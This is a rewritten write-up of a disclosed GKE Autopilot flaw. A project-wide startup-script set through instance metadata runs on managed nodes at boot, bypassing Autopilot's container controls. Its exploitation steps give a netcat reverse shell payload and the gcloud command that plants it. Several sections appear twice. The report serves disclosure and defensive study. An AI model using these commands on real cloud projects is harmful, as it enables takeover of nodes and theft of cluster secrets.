GKE Autopilot Node Compromise via startup-script
GKE Autopilot nodes lacked a startup-script in their instance metadata, so a project-wide startup-script set by a user with compute.projects.setCommonInstanceMetadata would execute on node boot. This allowed that user to bypass Autopilot's security controls and gain privileged access to managed nodes, potentially reading all cluster secrets.
Published on lf.lc
GKE Autopilot provides many default security controls to protect the node, including protections against privileged pods and limitations on hostPath volume mounts.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
GKE Autopilot is Google's managed mode for Google Kubernetes Engine. In Autopilot, Google manages the nodes on your behalf, and the product applies a set of default security controls to protect those nodes. As the report describes them, these include protections against privileged pods and limitations on hostPath volume mounts. The Autopilot documentation quoted in the report frames the restrictions this way:
In order for GKE to offer management of the nodes and provide you with a more streamlined operational experience, there are a few restrictions and limitations when compared to GKE Standard. Some of these limitations are security best practices, while others allow Autopilot clusters to be safely managed.
The target in scope was lf.lc, and the weakness class recorded for the finding is container escape: a path from a project-level permission to privileged access on the managed nodes.
Setup
The precondition is a user who holds the compute.projects.setCommonInstanceMetadata permission in the project. That is a Compute Engine project-level permission, not a Kubernetes RBAC permission, so the attacker does not need any elevated role inside the cluster itself. The tooling used in the demonstration is gcloud and a shell script.
Finding it
The researcher noticed that the Autopilot nodes do not have a startup-script defined in their instance metadata. Compute Engine documents that a user with compute.projects.setCommonInstanceMetadata can set a project-wide startup script. Because the nodes do not carry their own instance-level value for this attribute, they fall back to the project-wide attribute, and that means the project-wide script runs arbitrary code on the nodes at boot. The project-wide script runs on the nodes at boot, which the report demonstrates by creating an Autopilot cluster and observing execution.
Exploitation
Step 1: Write the script
Create a script containing the code you want executed on the node and save it as script.sh. The report's example payload is a reverse shell:
nc -e /bin/sh [redacted] 4444
This makes the node connect back to the given address and port and hand over a shell.
Step 2: Set the project-wide startup script
gcloud compute project-info add-metadata --metadata-from-file startup-script=script.sh
This writes the file contents into the project's common instance metadata under the startup-script key, which is the project-wide attribute the nodes will inherit.
Step 3: Create an Autopilot cluster and observe execution
Create an Autopilot cluster and watch the nodes. The startup-script executes when the nodes boot, which confirms that the project-wide metadata reaches the managed nodes and runs the supplied code.
Root cause
The design gap is that Autopilot nodes rely on the project-wide startup-script metadata because no instance-level startup-script is set on them. The node hardening that Autopilot applies, such as blocking privileged pods and restricting hostPath mounts, operates at the Kubernetes layer and does not prevent code that runs directly on the node at boot through instance metadata. Anyone holding compute.projects.setCommonInstanceMetadata therefore has a route to code execution on the managed nodes that sits outside the cluster's own controls.
Impact
A user with compute.projects.setCommonInstanceMetadata in the project could bypass the security controls in the cluster and gain privileged access to the managed Kubernetes nodes. From that access, they could read all secrets in the cluster, including secrets outside their provisioned access, or explore the attack surface of the Autopilot control plane. The report frames this as a bypass of the Autopilot controls rather than as a flaw reachable by an unprivileged cluster user: the precondition is the project-level Compute permission.
Fix
The report records that the issue was reported fixed on 2021-06-07. On 2021-09-10 it was retested, and only variant "a" was verified as fixed; the issue was reopened on 2021-09-11. The report does not describe the specific change Google made.
Variants to test
- The sibling variants reported alongside this one (
vrp/181521559b,vrp/181521559c, and latervrp/181521559d). The retest verified only variant "a" as fixed, and the issue was reopened. - Re-run the retest after a fix is announced, checking each variant separately rather than assuming one fix covers all of them.
Timeline
| Date | Event |
|---|---|
| 2021-03-01 | Initial report to Google VRP |
| 2021-03-01 | Issue triaged |
| 2021-03-04 | Internal bug report filed |
| 2021-03-05 | Additional variants reported (vrp/181521559b, vrp/181521559c) |
| 2021-03-09 | Internal bug report updated |
| 2021-04-01 | Additional variant reported (vrp/181521559d) |
| 2021-04-06 | Internal bug report updated |
| 2021-04-08 | VRP issued reward ($1337 per variant) |
| 2021-06-07 | Issue reported fixed |
| 2021-09-10 | Retested and verified only variant "a" is fixed |
| 2021-09-11 | Issue reopened |
What happened, in plain words
Google runs a service called Google Kubernetes Engine (GKE). It lets you run your programs in containers on machines that Google manages for you. One of its modes is called GKE Autopilot. In Autopilot, Google takes care of the underlying machines, called nodes, and adds security controls so that you cannot easily break out of your container and take over a node. For example, Autopilot blocks privileged pods and limits a type of volume mount called hostPath.
The researcher found that a user with a particular permission at the Google Cloud project level, compute.projects.setCommonInstanceMetadata, could bypass the cluster's security controls. That permission lets a user set a project-wide startup script. A startup script is a small program that a machine runs automatically when it boots. The Autopilot nodes do not have their own startup script set, so they fall back to the project-wide one. That means the project-wide script runs on every node when it starts, outside the container controls that Autopilot enforces. A user with this permission could use it to run code directly on the node, read all secrets in the cluster, and explore the control plane.
The report was submitted to Google's Vulnerability Reward Program (VRP) on 2021-03-01. Google triaged it the same day, filed an internal bug on 2021-03-04, and the researcher reported additional variants on 2021-03-05 and 2021-04-01. Google issued a reward of $1337 per variant on 2021-04-08. The issue was reported fixed on 2021-06-07, but a retest on 2021-09-10 showed that only variant "a" was fixed, so the issue was reopened on 2021-09-11.
Context
GKE Autopilot is Google's managed mode for Google Kubernetes Engine. In Autopilot, Google manages the nodes on your behalf, and the product applies a set of default security controls to protect those nodes. As the report describes them, these include protections against privileged pods and limitations on hostPath volume mounts. The Autopilot documentation quoted in the report frames the restrictions this way:
In order for GKE to offer management of the nodes and provide you with a more streamlined operational experience, there are a few restrictions and limitations when compared to GKE Standard. Some of these limitations are security best practices, while others allow Autopilot clusters to be safely managed.
The target in scope was lf.lc, and the weakness class recorded for the finding is container escape: a path from a project-level permission to privileged access on the managed nodes.
Setup
The precondition is a user who holds the compute.projects.setCommonInstanceMetadata permission in the project. That is a Compute Engine project-level permission, not a Kubernetes RBAC permission, so the attacker does not need any elevated role inside the cluster itself. The tooling used in the demonstration is gcloud and a shell script.
Finding it
The researcher noticed that the Autopilot nodes do not have a startup-script defined in their instance metadata. Compute Engine documents that a user with compute.projects.setCommonInstanceMetadata can set a project-wide startup script. Because the nodes do not carry their own instance-level value for this attribute, they fall back to the project-wide attribute, and that means the project-wide script runs arbitrary code on the nodes at boot. The Autopilot node protections do not cover this path, since the code executes outside the pod and volume controls the product enforces.
Exploitation
Step 1: Write the script
Create a script containing the code you want executed on the node and save it as script.sh. The report's example payload is a reverse shell:
nc -e /bin/sh [redacted] 4444
This makes the node connect back to the given address and port and hand over a shell.
Step 2: Set the project-wide startup script
gcloud compute project-info add-metadata --metadata-from-file startup-script=script.sh
This writes the file contents into the project's common instance metadata under the startup-script key, which is the project-wide attribute the nodes will inherit.
Step 3: Create an Autopilot cluster and observe execution
Create an Autopilot cluster and watch the nodes. The startup-script executes when the nodes boot, which confirms that the project-wide metadata reaches the managed nodes and runs the supplied code.
Root cause
The design gap is that Autopilot nodes rely on the project-wide startup-script metadata because no instance-level startup-script is set on them. The node hardening that Autopilot applies, such as blocking privileged pods and restricting hostPath mounts, operates at the Kubernetes layer and does not prevent code that runs directly on the node at boot through instance metadata. Anyone holding compute.projects.setCommonInstanceMetadata therefore has a route to code execution on the managed nodes that sits outside the cluster's own controls.
Impact
A user with compute.projects.setCommonInstanceMetadata in the project could bypass the security controls in the cluster and gain privileged access to the managed Kubernetes nodes. From that access, they could read all secrets in the cluster, including secrets outside their provisioned access, or explore the attack surface of the Autopilot control plane. The report frames this as a bypass of the Autopilot controls rather than as a flaw reachable by an unprivileged cluster user: the precondition is the project-level Compute permission.
Fix
The report records that the issue was reported fixed on 2021-06-07. On 2021-09-10 it was retested, and only variant "a" was verified as fixed; the issue was reopened on 2021-09-11. The report does not describe the specific change Google made.
Variants to test
- Other instance metadata keys that nodes inherit from project-wide metadata when no instance-level value is set. A positive result is code or configuration from the project level taking effect on managed nodes at boot.
- The sibling variants reported alongside this one (
vrp/181521559b,vrp/181521559c, and latervrp/181521559d). A positive result is the same node-level effect through a different metadata path, which is what the retest found still present in the non-"a" variants. - Re-run the retest after a fix is announced, checking each variant separately rather than assuming one fix covers all of them, since that is exactly how the reopened issue was found.
Timeline
| Date | Event |
|---|---|
| 2021-03-01 | Initial report to Google VRP |
| 2021-03-01 | Issue triaged |
| 2021-03-04 | Internal bug report filed |
| 2021-03-05 | Additional variants reported (vrp/181521559b, vrp/181521559c) |
| 2021-03-09 | Internal bug report updated |
| 2021-04-01 | Additional variant reported (vrp/181521559d) |
| 2021-04-06 | Internal bug report updated |
| 2021-04-08 | VRP issued reward ($1337 per variant) |
| 2021-06-07 | Issue reported fixed |
| 2021-09-10 | Retested and verified only variant "a" is fixed |
| 2021-09-11 | Issue reopened |
Glossary
- API: Application Programming Interface; a set of rules that lets one program talk to another.
- Container: A lightweight, isolated environment that packages an application and its dependencies.
- Container escape: A vulnerability that allows a process inside a container to break out and access the host system.
- Control plane: The part of Kubernetes that manages the cluster and its resources.
- GKE Autopilot: Google's managed mode for Google Kubernetes Engine where Google manages the nodes and applies security controls.
- gcloud: Google Cloud's command-line tool for managing resources.
- hostPath: A Kubernetes volume type that mounts a file or directory from the host node's filesystem into a pod.
- Instance metadata: Key-value pairs that a cloud provider makes available to a virtual machine instance, often used for configuration.
- Kubernetes RBAC: Role-Based Access Control in Kubernetes; a way to define who can do what within a cluster.
- Node: A worker machine in a Kubernetes cluster that runs pods.
- Permission: An authorization that allows a user to perform a specific action on a resource.
- Pod: The smallest deployable unit in Kubernetes, which can contain one or more containers.
- Privileged pod: A pod that runs with elevated privileges, giving it more access to the host than a normal pod.
- Project: A logical grouping of resources in Google Cloud.
- Reverse shell: A technique where a compromised machine connects back to an attacker's machine and provides a command shell.
- Secret: Sensitive data such as passwords, tokens, or keys, often stored in Kubernetes for use by applications.
- Startup script: A script that runs automatically when a virtual machine instance boots.
- Variant: A different version or path of the same vulnerability.
- VRP: Vulnerability Reward Program; a program that pays rewards for reporting security vulnerabilities.